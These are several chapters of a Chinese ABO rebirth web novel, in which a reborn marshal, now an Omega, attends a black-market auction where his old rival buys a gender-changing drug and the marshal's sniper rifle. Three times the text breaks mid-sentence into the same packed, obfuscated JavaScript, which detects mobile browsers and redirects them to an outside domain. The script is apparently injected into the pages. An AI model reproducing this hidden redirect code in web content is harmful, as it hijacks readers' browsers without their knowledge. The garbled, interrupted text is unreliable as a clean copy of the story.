《死对头A嘎掉的第八年》 1. 重生之我是娇软Omega 沈清崖压低了兜帽帽檐往前走,然后被两个保安拦在了厕所门口。 “您好,这里是男性Alpha专用洗手间,Omega洗手间在右边。” “……谢谢。” 兜帽遮脸,长袍曳地的青年人往右边走了两步,又不甘心地回头。 “你是怎么看出我是Omega的?” 这里是阿斯蒙帝斯一年一度的拍卖会现场,一楼大厅化石打磨抛光的地面反射着炫目灯光,给青年人的白袍镀了层金边。 保安身如铁塔,有1.5个沈清崖那么高,2.5个沈清崖那么宽。 他抱起胳膊,手臂肌肉虬结,胸肌能把沈清崖夹成饼饼。 挑眉,露出了一个“你觉得我有性别认知障碍吗”的神情。 沈清崖心有戚戚地走了。 十分钟后,一身白袍的青年坐在了拍卖会场门口的台阶上,边放空边舔冰激凌。 他的计划太天真了。 连拍卖会大厅的Alpha厕所都进不去,怎么可能混得进一会儿的Alpha专场拍卖? 周围来来去去的人时不时向他投来打量的、审视的、或者不怀好意的眼神。 他又把帽子压低了一些,但完全于事无补。 后颈的抑制贴贴得严严实实,将那一小块柔弱发红的腺体紧紧遮盖,沈清崖很确定自己没有泄露出哪怕一丝属于Omega的信息素。 但是……没用。 常年来往于地下黑市的人,对异常的东西有超乎寻常的敏锐嗅觉。 所有人都能看出——这是一个落单的、独自混迹在地下拍卖会会场的无主Omega。 而且……是“上等货色”。 如果是别的普通的Omega的话,想必已经被周围窥伺的视线吓得坐立难安了吧。 但沈清崖不怕。 为什么不怕? 当然因为,他不是一个“普通的Omega”。 . 地下拍卖会虽说叫“地下拍卖会”,实际只是由帝国背后的黑//手党势力操控。 黑//手党年年向皇室上供,做皇室的刀子,处理一些不方便由皇室光明正大出手的事务。 会场建造得富丽堂皇,阿斯蒙帝斯是帕罗迪斯帝国的第四星,以纸醉金迷闻名。 这里是全帝国知名的销金窟,缔造了无数一夜暴富的传说,也日日夜夜上演流血事件跟命案。 沈清崖此刻就坐在两根纯金雕花的廊柱中间,屁股底下的台阶比他命都长,一级一级通往阿斯蒙帝斯拍卖会场。 今天的拍卖会是Alpha专场。 Omega当然也可以进,前提是得“有主”。 沈清崖舔着冰激凌往下看,台阶底下一辆辆豪车停下,佣人打开后座车门,车上偶尔会下来一个柔弱漂亮的Omega,但他们的胳膊一定会像菟丝子花一样攀在旁边的Alpha臂弯里。 有人从背后拍了一下沈清崖的肩膀。 沈清崖回头,看见一个身穿燕尾服的高大Alpha。 “或许,我有幸能陪同你一起进入拍卖会么?” Alpha朝他伸出一只戴着白手套的手,另一只手一扬,沈清崖看到了他手里黑色的邀请函。 是哦,这样在门口猎艳的人,也是有的。 这种地方,总会有一些天真可爱不谙世事的Omega,想进去,但不得其门而入。 于是就会有这种人,一旦答应了,那就等于是小羊羔擦干净了脖子洗白白,下一步就是等着被烹调煎烤,呈上餐桌了。 沈清崖转过头,看见另一边也有一个神色迷茫的男性Omega,就这么颠颠地被一个Alpha领走了。 这个Omega完蛋了。 沈清崖兔死狐悲地想。 燕尾服Alpha露出了一个和善的微笑。 “放心,我不是什么坏人,我叫埃蒙。 “你一个人来这里,是有什么想标下的拍品吗?你可以告诉我,或许我能为你出谋划策。我在阿斯蒙帝斯有些人脉,拍卖会也常来,你有什么想知道的,都可以问我。” 埃蒙一边说,一边有意无意露出了袖口的金色徽章。 金色刻了鹰的徽章,这是阿斯蒙帝斯黑//手党八大家族的标志。 八大家族啊…… 沈清崖兴趣缺缺地又舔了一口冰激凌。 该说不说,这个Ciaos甜品店阿斯蒙帝斯地域限定的黑暗森林口味,真的是太淡了。 先不说八大家族到底有什么含金量。 这个人……沈清崖飞速地把Alpha从上到下扫了一遍,不费吹灰之力地就做出了界定。 骨量、肌肉量、精神力等级—— 就算全都按range范围内最高的数值算,也不过就是个B级而已。 虽然这个Alpha在努力掩藏,但那种虎视眈眈注视着猎物的眼神,太明显了。 他沈清崖居然会有一天,被一个B级Alpha视作猎物…… 如果放在上辈子,散布这种话的人会被当做精神癫狂的污染物叉起来电死吧。 他今天穿了一身米白色的罩袍,将身体从头到脚罩在袍子里。 s码最小号的袍子,他穿着长度刚好,袍身宽大,在风钻过时鼓起,猎猎作响。 低头,袖子底下露出来一截手指,葱段一样,白皙莹润,几乎看不见骨节突出来的痕迹。 沈清崖都不敢乱碰自己的手。 总觉得这么只软豆腐似的手,随便掰扯一下怕是就折了。 阿斯蒙帝斯拍卖会场像一只金色的巨狮,高高盘踞于山巅之上。日光落下,琉璃瓦通体流金,廊檐雕刻的蟠龙仿佛随时会腾空而起。 纤细的Omega就这么端坐于台阶的最高处。 恰逢高空中有风拂过,吹皱了贵妇们的裙摆,吹扬了男士们的围巾,有人手上抱了一叠拍品目录传单,尽数被风扬起,有人精心盘了的发髻,一朝回到凌乱中去。 白色的袍子猎猎飞扬,兜帽被风掀开,金色长发随风逸散,比黄金廊柱更明媚,比晨光更晃眼—— “拍品啊……” 金发白袍的Omega终于站起身,任凭长发纷飞,袍裾飘扬。 “我想要那个,今晚的第27号拍品,莱茵博尔顿八倍狙击枪——永恒的轮舞曲。” 他软软地笑了笑,“就是沈清崖大元帅的遗物。埃蒙先生,你能帮我吗?” “……你要竞拍‘永恒的轮舞曲’?” Alpha像是听到了什么好笑的事一样,忍俊不禁,拿出个人终端,终端上悬浮出了裸眼3D投影画面,是今天的拍品目录。 “喏,你看看。”埃蒙轻点了一下第27号拍品,一把如同覆盖了千年霜雪的银白色狙击枪便出现在投影幕上。 “这可是今天压轴的宝贝,除了未知拍品外,最大的惊喜就是它了。你知道今天有多少人是专门冲着这把沈大元帅生前的战武来的么?” “嗯……” 埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000150|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙笑了,以一种高高在上的、纵容无知小Omega的态度,向沈清崖讲解:“''永恒的轮舞曲''光是起拍价就有30亿帝国币,小宝贝,你知道30亿是什么概念么?” “小宝贝”三个字,被Alpha狎昵地滚过舌尖,黏腻粘连的感觉。 自从沈清崖的兜帽被风吹掉后,埃蒙看着他的眼神更狂热了。 周围其他的Alpha时不时飘来的目光,也灼热逼人。 沈清崖的金发垂落在肩,曝露在无数这样的目光下。 就像一块落进了狼穴的肥肉。 埃蒙的手,不知什么时候揽上了他的腰。 Omega的腰很细,对于体型比他大得多的绝大多数Alpha来说,用不了一只胳膊的长度就能圈住。 那只滚烫的手在他后腰处不轻不重地掐了一下。 沈清崖仰头看埃蒙,这人的手在后面做这么变态的事,脸上还一副正人君子的样子。 真会装啊。 说起来,这种很虚伪的人,他上辈子也认识一个。 但眼前这个,不管是会装的程度,还是变态的程度,都跟上辈子那个差远了就是了。 “再告诉你一个秘密。” 埃蒙显然很享受美丽懵懂的Omega睁着一双无知的大眼睛聆听他教诲的样子,又在沈清崖腰上捏了一把。 然后俯下身,将嘴唇凑近沈清崖耳侧。 “听说,今天的拍卖会,太子殿下也会来。” 沈清崖适时地露出了惊讶又畏惧的神情。 埃蒙被他的表情大大地娱乐到了,某种属于Alpha的虚荣心也得以满足。 “你知道,太子殿下的目标是什么么? “哈哈,你一看就是个聪明的小宝贝,我想你一定猜到了。 “没错,太子殿下,也是来竞标''永恒的轮舞曲''的。 “毕竟殿下跟沈大元帅是死对头么。死对头的遗物,他也不想落到别人手里。” “所以啊,你这个小东西,还是放弃吧。嗯?”埃蒙最后总结道,“毕竟这可是‘那位’太子殿下秦曜啊!” “那位”太子殿下。 大家似乎总是这么讳莫如深地称呼秦曜,尽可能离这位精神状态不大正常的太子殿下越远越好。 但沈清崖不一样。 永恒的轮舞曲什么的……他倒也没有一定要拍到啦。 以他现在这么个身体素质,根本也驾驭不了这个他上辈子的老战友。 他原本就是冲着秦曜才来这里的。 系统机械死板的声音忽然活络了,在他脑子里发出了“叮”的一声。 【友情提示~友情提示~您的攻略对象[美强惨帝国太子秦曜]已出现在当前地图范围内,坐标东2555,北1763,目前好感度0,请速速展开攻略计划~~ 【阶段任务目标:三天内将攻略对象好感度提升至15点以上,否则抹杀~~~抹杀~~~~抹杀~~~~】 沈清崖微笑着,微笑着,微笑着……然后在没人看见的地方,露出了一个想杀人的表情。 死后第八年,他终于重生了。 上辈子强韧的身体没了,甚至连性别都变了。 从神挡杀神的帝国第一狙击手,变成了一个比白玉麻薯还不堪一击的娇弱Omega。 这也就罢了。 重生第一件事,居然就是让他来攻略那个曾经恨不得将他食肉啖血的死对头。 这世上还能有比他更倒霉的人么? 2. 我值三亿 距离拍卖会正式开始的时间只有不到两个小时了,拍卖大厅处拉了红丝绒帘幕,门童朝每一位出示了邀请函的贵客鞠躬敬礼,欢迎他们的到来。 “欢迎二位光临,埃蒙·卡露拉先生,以及米兰·休汀先生。祝你们有一个愉快的夜晚。” 门童单手抚胸,弯腰,九十度鞠躬,目不斜视,不多看一眼面前Alpha对Omega暧昧的举动。 卡露拉家族是阿斯蒙帝斯黑/手党八大家族之一。 八大家族的人,别说只是举止暧昧放浪,就算真爽了上头了,在拍卖会现场当众发/情,他们作为工作人员也不会多说一句,只会体贴地为卡露拉先生准备好浪漫旖旎的休息室,让他们尊贵的客人痛痛快快地享受一番。 埃蒙·卡露拉怀里的Omega显然也十分享受,一只修长嫩白的柔夷攀附在身边Alpha比他粗壮两三倍的胳膊上,微低着头,腰软得像能拧出水,全身心依赖的姿态。 休汀啊……好耳熟的姓。 门童鞠着躬,开小差想着。这个姓总觉得在哪里听过……但又想不起来。要么就不是什么重要人物,要么就是跟他们阿斯蒙帝斯这块欢乐之土关系不大。 总之都不是他该关心的事。 他抬起头,又微笑着迎接下一位尊贵的Alpha客人。 沈清崖看了一眼门童发给他的名牌,将这张黑底烫金的小牌牌别在了他的白袍前胸。 “你姓休汀?”埃蒙也眯着眼睛在沉思,“好耳熟的姓,你是贵族?” 沈清崖靠在埃蒙肩上,适时露出了一个黯然神伤的神情。 “请不要提了,埃蒙先生……都是过去的事了……” “哦——”埃蒙立刻恍然大悟,宽慰地拍了拍沈清崖的胳膊。 看这Omega小美人这副样子他就能猜到了,在Omega身上,出现这种情况很寻常。 美丽柔弱的Omega,疑似贵族的耳熟姓氏,莫名其妙出现在阿斯蒙帝斯这个全帝国最无法无天的混沌之地…… 这说明了什么? 所有的一切都证明了——这是一个逃婚的Omega!!! 埃蒙那双灰色的眼睛亮了亮,心里算盘珠子打得震天响。 他用力克制住拼命上扬的、不怀好意的嘴角,挤出了一个慈祥又悲天悯人的虚假表情。 “哦,我可怜的小宝贝。我就说,从第一次看见你的那一刻,你身上的迷茫和脆弱就吸引了我。那是一种有别于其他普通Omega的特殊气质,脆弱又坚强,柔嫩又危险。我知道,你想要一些叛逆,一些危险,一些刺激,一些不一样的东西,你是那么不同,那么倔强,又那么让我移不开目光……” 沈清崖面无表情地想,好在这个Alpha比他高得多得多得多,只要他不抬头,这家伙就看不清他兜帽下的神色。 这色胚就差把“看看(哔)”写脸上了。 如是想着,沈清崖软绵绵地靠在了埃蒙胸口,嘤嘤嘤:“埃蒙先生,你真是太懂我了!” 沈清崖跟埃蒙如胶似漆地到了自己的位置上坐下,期间埃蒙还在不断用一种拯救失足少女的口吻滔滔不绝。 他们的座位比较高,能将会场的大部分区域尽收眼底。 虽然包厢里的情况看不清楚,但从安保数量跟状态来看,秦曜应该是还没来。 沈清崖自打进入会场后就不自觉紧绷的脊背放松了些许,会场内嘈杂,他仍能清晰听到自己砰砰砰的心跳声。 其实埃蒙这人虽然不怀好意,他猜的倒是没错。 沈清崖确实是逃婚出来的。 他是一个月前活过来的,一觉睡醒就发现自己重生在了死掉的八年后。 但不是以原装的沈清崖的身体,而是重生在了一个贵族Omega的身上。 这Omega叫米兰·休汀,休汀这个姓氏在沈清崖活着的时候也有所耳闻,是帝星一个中不溜的、存在感不强的小贵族。 当代的帝国,要想挣点存在感就都得去参军拿功勋,贵族平民一视同仁,唯有这一条出路。 休汀家族缺少高等级的、能力强的Alpha,因此一直在贵族中默默无闻,这几年几乎连中不溜的地位都维持不住,再往下跌落下去就快跟平民平起平坐了。 为了家族的光辉荣耀,休汀家现在下了血本。 但凡家族中有稍微展现出一丁点天赋的Alpha,都不惜一切培养,Beta也聊胜于无,不能放过——至少Beta可塑性很强,历史上军功赫赫的Beta也是两只手都数不过来的,万一走了狗屎运呢? 相较之下,天生欠缺战斗能力的Omega就比较凄惨了。 数百年前帝国处于太平盛世,文明科技与经济的巅峰,彼时的ABO三个性别、多种多样的人都能平起平坐,有各自的社会分工,在自己的领域,任何人,只要有能力,都能做到行业翘楚。 可在如今面临生死存亡的帕罗迪斯帝国,万般皆下品,唯有军事高。 人文土壤倒退数百年,渐渐恢复了曾经野蛮生长时Alpha的绝对优势地位。原始社会一样,Omega又再度成了性和繁育的容器。 休汀家族这一代只有米兰这一个Omega,还是家主在外面乱搞生出来的私生子。 米兰从小过得谨小慎微,在家族中受尽冷眼,也不知是幸还是不幸,这么步履维艰地长到十八岁,休汀一家忽然惊觉——老天爷!他们家这个不受待见的私生子,怎么长得美貌出奇? 于是米兰立马被送去种猪配种一般匹配了Alpha,休汀一家杀红了眼,势必要把他家这个小美人嫁去一个有鼻子有眼的家族。 最后竟无视了低至49%的匹配度,要把米兰嫁去一个公爵家,给他家纨绔荒//淫的小儿子做小老婆。 先不说米兰一个贵族Omega给人做小老婆有多荒谬和羞耻,单说说这件事的可能后果。 一个Alpha只能标记一个Omega,给Alpha做小老婆,意味着在往后数十年的易感期无法被标记,要忍受着信息素的巨大斥力和排异承受Alpha的欲望,再被易感期的高热和结合痛双重轰炸。 之前有过的这种先例,Omega都因痛苦到生不如死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000151|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要么精神崩溃,要么想尽一切办法自杀了。 沈清崖重生的那一天,正是米兰要被打包送去嫁人的前一夜。 他一醒来就发现,自己正站在帝国最高的莉莉丝大厦天台上,裹着一身白袍,一只脚已经迈出去一半了。 莉莉丝大厦之高,上半部近乎戳入云端。往下看,世间万物,尘嚣喧嚷,皆如蝼蚁。Omega白生生的脚在浮世顶端晃晃荡荡,风声如哨,吹拂他的长发他的白袍。 浮生不过须臾,缥缈得很,可曾经的帝国第一狙击手、战场尘埃中的明珠,忽然觉得活着是很难能可贵的事情。 于是沈清崖在心里跟贞洁烈O米兰说了声抱歉,收回脚,麻溜从逃生通道跑出了莉莉丝大厦,衣服都没来得及换,就借着夜色遮掩,去了星际列车站。 唯一不爽的是脑袋里搭载了个不知道哪冒出来的破系统,催命似的给他发布了一个任务: 攻略美强惨帝国太子秦曜。 如果完不成任务,就要被抹杀。 系统告诉沈清崖,秦曜接下来会从帝星出发前往第四星阿斯蒙帝斯,参加拍卖会,顺便超经意地勾引他:【你的爱枪永恒的轮舞曲也在阿斯蒙帝斯拍卖会场哦。】 沈清崖:“呵呵。”倒是睁眼看看米兰休汀的这副身体能不能用得上他的爱枪啊。 沈清崖逃跑以后,从休汀家到他要嫁的那个奥菲罗家都乱成了一锅粥,今早他在阿斯蒙帝斯的户外广场醒来,系统跟他说的第一句话就是: 【休汀家跟奥菲罗家在联合通缉你,赏金高达三亿帝国币。呵呵,宿主,您听我的是对的吧,阿斯蒙帝斯就是现在全帝国最安全的地方了。】 系统固然烦人,唯独这话说得不错。 帝国第四星阿斯蒙帝斯,最缺的是法典,以及遵守法典的人。 最不缺的,就是亡命之徒,和一掷千金的壕。 即便是帝国A级战犯,只要混进了拍卖会现场,就是被阿斯蒙帝斯黑//手党罩着的人——况且能进这个拍卖会的人物,谁会为了三亿的悬赏金在太岁头上动土? 沈清崖满意地喝了一口刚买的泡泡奶茶,拍卖会场里卖的甜品就是比外面的更好吃。 “啊,休汀,我想起来了。”埃蒙后知后觉,“是那个莉莉丝的小贵族嘛,前几天还看到他们发布悬赏了。” Alpha打开星网搜索,果然看到最新悬赏处挂着的、美丽的金发Omega的照片。 “哈哈,三亿。”他哈哈大笑,一只大手再度暧昧地揽上沈清崖的腰。 同时凑到沈清崖的耳边,喷吐着湿热暧昧的鼻息:“宝贝儿,你在我这里,可不止值这点价钱。” 沈清崖无辜地笑笑,装傻。 埃蒙还待再接再厉,继续诱拐,会场里忽然响起“啪啪啪”几声。 大厅内的灯光全数熄灭,独留台上变幻的色灯。 让人血脉偾张的鼓点响起,四个小节后音乐跟上,台上色灯的颜色随着鼓点闪烁得愈发激荡,片刻的黑幕后,所有光束打在舞台正中西装革履的男人身上。 拍卖会正式开始了。 3. 我的死对头 “欢迎各位贵宾来到阿斯蒙帝斯拍卖会,很荣幸能陪伴各位度过一个狂欢之夜,让我们调动起所有的肾上腺素,共同期待今夜的二十八件珍品吧——” 拍卖会内光线昏暗,沈清崖用终端随意看了几眼拍品目录,余光却一直瞟向二楼包厢的位置。 那里黑洞洞的,安保一直很松懈,秦曜应该是一直没有入场。 “……接下来这件拍品,是上个世纪在莉莉丝大厦一跃而下的传奇歌坛天后——安妮希斯卡曾经戴过的项链。这条黄金做底的项链上一共镶嵌了999颗祖母绿,在灯光下闪烁着幽冷神秘的色彩。 “关于这条项链还有很多都市传说哈,有很多安妮希斯卡的死忠粉坚信,安妮的魂灵就寄宿在这条她生前最爱的祖母绿项链之中。 “这条项链跟安妮希斯卡的成名作同名,名为‘女巫狂欢曲’,那么它的起拍价是——一亿帝国币!!!接下来,请开始竞拍!” 沈清崖定睛看被兔女郎推出来的拍品。 祖母绿的项链放在全透明防弹玻璃柜里,在顶灯照耀下美得光辉夺目。 他记得米兰休汀好像也是安妮希斯卡的歌迷,沈清崖在米兰房间的橱柜里看到过十几本安妮希斯卡封面的杂志,都是好多年前的中古货。 难怪米兰也要在莉莉丝大厦跳楼。 怎么好的不学,尽学坏的。 “对不起啊,我没钱给你拍你偶像的项链呢……” 沈清崖在黑暗中小声嘟囔,一扭头就见旁边的埃蒙举起了牌牌。 埃蒙注意到沈清崖的视线,立马一副雄孔雀开屏的样子:“小宝贝儿,你们Omega不是都喜欢这种东西么,等着,哥哥这就给你拍下来。” “……” 最后这条项链被安妮希斯卡的狂热粉丝竞价到了十二亿帝国币。 埃蒙在价格喊到了八亿后遗憾退场。 他还拍着沈清崖的肩膀,宽慰:“没事,宝贝儿,后面还有更多好东西。你想要什么,尽管跟我说,哥哥给你拍。” 如果被他搂在怀里的不是八年前的帝国大元帅沈清崖,而是没见识的小贵族私生子米兰休汀本人,估计就被这个狗男人骗了,真以为他舍得给自己一掷千金呢。 沈清崖扫视了一圈拍卖会场。 刚才跟埃蒙竞价的几个人,十分之□□全是抬价的托儿。 他们常年混迹拍卖会的黑//手党家族内部人士心里都对成交价有个大概的数,这些托儿是,埃蒙也是。 沈清崖内心十分鄙视,心想诡计多端的穷男人,秦曜都比他好多了。 起码秦曜不抠。 女巫狂欢曲成交了,台上拍卖会主持又开始介绍下一件拍品。 埃蒙还舔着脸一边揩沈清崖的油,一边说些油腻甜言蜜语。 沈清崖全程左耳进右耳出,余光又往二楼包厢瞟,没想到说曹操曹操到,那个癫而不抠的狗男人真的来了。 “咦?小宝贝儿,你怎么了,胳膊上怎么起鸡皮疙瘩了,冷?” Alpha揩油的手只能摸到沈清崖袍子里的胳膊,摸不到他的心脏。 如果能摸到,他就会发现,Omega的心跳在瞬间擂鼓一样,咚咚,咚咚,咚咚。 像应激的猫。 会场太黑了,其实从沈清崖的视角什么也看不清,只能看到包厢门口的安保忽然增加了三倍,一个高大的影子悄无声息地进了包厢。 就算他跟秦曜认识了那么多年,也不能当即确认那个人就是太子殿下本尊。 主要还得归功于系统,反应迅猛。 【友情提示~友情提示~您的攻略对象[美强惨帝国太子秦曜]已逼近!坐标北0.6,西0.33,目标现在心情阴转暴雨至大暴雨~~请宿主尽情展开您攻略的蓝图吧~~~】 【怀挺哦!】 沈清崖:“……” 阴转暴雨至大暴雨是什么个意思?? 这也太抽象了。 “你在看哪啊,宝贝儿?” 埃蒙终于注意到了沈清崖的异常,顺着他的视线看过去,然后瞳孔一缩。 他压低了声音,“这是殿下到了啊,小东西,你看太子殿下干什么?你不会也跟那些个别的傻小O一样,想攀高枝儿,嫁皇室吧? “啧,别傻了,小东西,我还挺喜欢你的,你要是跟我匹配度可以,要我娶你也是行的,以后啊,你就跟我待在阿斯蒙帝斯,你家里人就是手伸再长也没办法。” 沈清崖随口道:“为什么不能想嫁太子殿下?” “……”埃蒙一脸被雷劈了的表情,揩油的手都不摸了,“你还真想嫁啊!” “很多人都想嫁吧。”沈清崖说,“我记得殿下不是‘全帝国Omega最想嫁的Alpha榜’第二名嘛?”第一名就是他沈清崖本人。 “呵呵,到底是Omega啊……真是天真得可爱。” 沈清崖从埃蒙的脸上看出了,他其实想说的是“头发长见识短”之类的Alpha沙文主义台词,不过为了风度硬憋回去了。 埃蒙继续说:“你那都是多少年前的事了,我的老天爷,休汀家对你一定烂得可以,才会让你这个小宝贝如此两耳不闻窗外事! “沈大元帅去世前,大元帅跟殿下确实是全帝国Omega憧憬的对象,但小宝贝儿,你想想,距离沈大元帅去世都多久过去了? “自从沈帅离开了以后,这些年太子殿下属实是……咳,虽然我是黑//手党家族的人,这种对皇室不敬的话其实也不该说。但总之,但凡是正常的Omega,不想死的话,还是别做这种白日梦了。 “这些年皇室对殿下的婚事比什么都上心,但是根本找不到合适的Omega,匹配度是一个问题,殿下简直是注孤生的体质,全帝国也匹配不出几个合适的Omega,就算好不容易匹配度勉强及格,最后不是被殿下吓得连夜奔逃,就是直接自杀了。 “所以别做这种旧时代的梦了,宝贝儿,现在殿下在榜上根本排不上号。” 沈清崖问:“那你排多少号呀?” “……这不是重点,我们还是来看看下一件珍贵的拍品吧,宝贝儿。” 兔女郎又推上了下一件拍品,沈清崖开始走神。 他嘎嘣嚼碎了一颗泡泡奶茶里的泡泡,甜腻的糖浆在嘴里迸溅开来。 埃蒙说得也没错,他对于这个世界上所有的事情,记忆都停留在八年前。 至于他死后的这八年到底发生了什么事,他确实一无所知。 听埃蒙的意思,估计是这些年来秦曜变得更变态了。 拍品目录上的东西一样一样被推上台,阿斯蒙帝斯的黑//手党真是门路广手段高,什么奇珍异宝都有,现场看见实物的感觉跟看目录图片完全不一样,后者就是隔靴搔痒。 有帕罗迪斯帝国建国前的前朝末代皇帝亲笔画,拍到了九亿; 有两百年前被全部焚毁的影视作品,讲的是污染战前帝国人民的富足美好生活的,拍到了两亿五千万; 有能封闭Alpha腺体强行改变性别的违禁药品…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000152|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈清崖本来以为这种东西大概没什么人会想买,没想到热度很高,台下一直在叫价,就连埃蒙也跟着叫价了。 他看出来埃蒙这次不是在孔雀开屏忽悠他,是真心的,于是问:“你要改性别的药做什么?你想做Omega吗?” 埃蒙无语了一下,然后跟他解释:“这个东西还在实验阶段,就连黑//手党都是好不容易才搞到的。你信不信,不管今天最后成交价多少,拿出去转卖都能卖更高?” 他信不信有什么用呢,沈清崖想着,搞不明白这种连药物实验都没通过的危险药品的受众到底是谁。 “呵呵,这个世界上的变态……可比你想象得要多多了,小宝贝儿。” 沈清崖愣了片刻,刚想再说,就听到这个禁药成交了。 他扭头看去,就见兔女郎把东西毕恭毕敬地拿了下去,在台下包装好,送到了二楼的某间包厢。 “52亿……啧啧啧,真是离谱。去年的隐藏拍品都没拍到这么高,‘那位’未免太大手笔了。” 埃蒙耸耸肩,然后意味不明地笑笑,“秦曜殿下想必不会放下身段做二道贩子,那就是自己有需求了。你看看,小宝贝,我说这个世界上变态很多吧,也不知道,那位殿下要把这个恐怖的药用在谁的身上…… “这玩意儿,副作用未知,使用周期未知,只知道强行改换性别的痛苦程度寻常人根本难以承受。啧,要真有谁落殿下手里,那也是倒大霉了。” 埃蒙纯吃瓜看热闹,沈清崖则感觉从尾椎骨向上窜起了一股恶寒。 他死前的那几年,已经跟秦曜交恶。 他记得,那会儿他们还是会频繁地上床,他其实也不懂,到底是怎样的信念感支撑着秦曜日日跟自己的仇人在床笫间纠缠。 彼时这个癫人就经常把他按在床上,眼睛眯得像夜里的蝙蝠,用一种金属一样森冷又喑哑的声音,在他耳边厮磨着,说:“沈清崖,你要是个Omega就好了。那样的话,这里……还有这里——” 秦曜一只手近乎轻柔温存地抚摸着沈清崖的后颈,另一只手则顺着他的尾椎向下…… “全都会是我的东西……你想跑也跑不了,你的身体会食髓知味,你的信息素会自己认主,只要我一个眼神,你就会跪在我的跟前,求我上你。 “听说……中心研究所的那帮老东西在做改变性别的实验用药。他们要是真研究出来了,我就把那玩意用在你身上。 “到时候,你就是只属于我秦曜一个人的Omega了。怎么样,沈清崖,你荣幸不荣幸?” …… 沈清崖的胃一阵绞痛,每次想到这种回忆他都会头晕目眩遍体生寒。 秦曜那个癫子买这玩意儿到底是想做什么??? 他都死了八年了,骨灰都不知道扬哪儿了,这个二百五还不打算放过他呢? 台上灯光轮换,沈清崖脸青一阵白一阵,捂着抽搐的胃,然后就听见主持人的声音激动得比先前高了几个八度。 “那么!我们今晚的倒数第二件拍品!也是已公布拍品中的压轴宝贝——” 所有聚光灯起,舞台亮如白昼。 兔女郎扭腰摆胯地推上了一个巨大的玻璃匣子,里面是寒光闪闪的一把银色狙击枪。 “……那就是!!!帕罗迪斯帝国的传奇!无数Alpha想超越的对象,无数Omega的梦中情人!无数污染物闻之胆寒的传奇人物——沈清崖大元帅生前的爱枪,永恒的轮舞曲! “起拍价30亿!请——竞——拍!” 4. 隐藏拍品 “哟,小宝贝儿,你想要的好东西来了。” 埃蒙往椅背上一靠,沈清崖的金发散落了几缕在椅子扶手上,他就抓起来,捻在手里,像在把玩一个漂亮的芭比娃娃。 沈清崖无暇关注他在干嘛,眼睛已经黏在了台上。 他的老战友,陪同他走过帝国几乎每一寸土地,击杀了无数污染物的枪,这世间与他最亲密无间的伙伴。 如今他的伙伴就静静躺在水晶匣子里,枪身被金刚石打造的枪座支撑起,周围铺满了娇艳的琉璃花。 可那是永恒的轮舞曲,无论是身处荒芜的战场之巅,还是被当作花瓶观赏物一样置于水晶匣里,都无损于它身上寒芒烈烈的战意。 永恒的轮舞曲市场很紧俏,台下举牌一个跟着一个络绎不绝的,这些人也不管这把神枪落到自己手上到底能不能发挥价值,反正是杀红了眼。 沈清崖手里的泡泡奶茶都不甜了,眼睁睁看着三十亿的起拍价分分钟翻到了七十亿。 他鬼使神差地跟着举了牌。 “???!” 埃蒙嘴里一口红酒差点喷前排人的秃后脑勺上,他没想到区区一个Omega居然有这么大的胆子,“你疯了?!翻一倍!一百二十亿!你是我带进来的,这个钱要是拿不出来我会被拍卖会拉黑的!我们卡露拉家也会丢人——” “好的!那么这把沈清崖大元帅生前的爱枪,莱茵博尔顿八倍狙击枪,永恒的轮舞曲,最终成交价为一百八十亿帝国币!让我们恭喜这位来自3号包厢的贵客!” “我的老天爷!我可拿不出一百八十亿……嗯?一百八十亿?……3号包厢?” 埃蒙终于冷静了下来,随后坐直身子,就见兔女郎推着车,笔直地绕过了他们这条通道,从外侧的内部通道,把枪推去了包厢。 这个出身黑//手党的B级Alpha瘫在了椅子上,半晌才抹了一把额头上的汗,感慨:“……这太子殿下,当真是阔绰……居然花一百八十亿拍了沈元帅的枪……这俩人间的关系还真是……说不上来。” “不过也是。沈元帅去世以后,太子殿下就开始频频挂帅去污染区了,这几年打了这么多场胜仗,不说皇室跟军部给他拨的钱,单是在污染区搜刮到的宝贝,也能叫他的私库肥得不同凡响了。” 沈清崖默默往秦曜所在包厢的位置看了一眼,倒没有因为他把自己的爱枪拍走就不爽。 刚才跟着举牌是一时鬼使神差。 他现在这样,就算真拿到永恒的轮舞曲也不顶用啊。 武器归根结底是死物,重要的还是用他的人。 一把发挥不出威力的狙击枪,跟商场里小孩子的玩具枪有什么区别? 所以在谁手里都一样,秦曜好歹是帝国绝无仅有的S+级Alpha,也不算辱没了永恒的轮舞曲。 就给他了呗。 沈清崖正这么想着呢,就听包厢处一阵“哗啦啦啦”什么东西碎裂的声音。 “…………” ……唔,不算辱没了他的枪,只要秦曜这个癫子不搞什么人债器偿…… 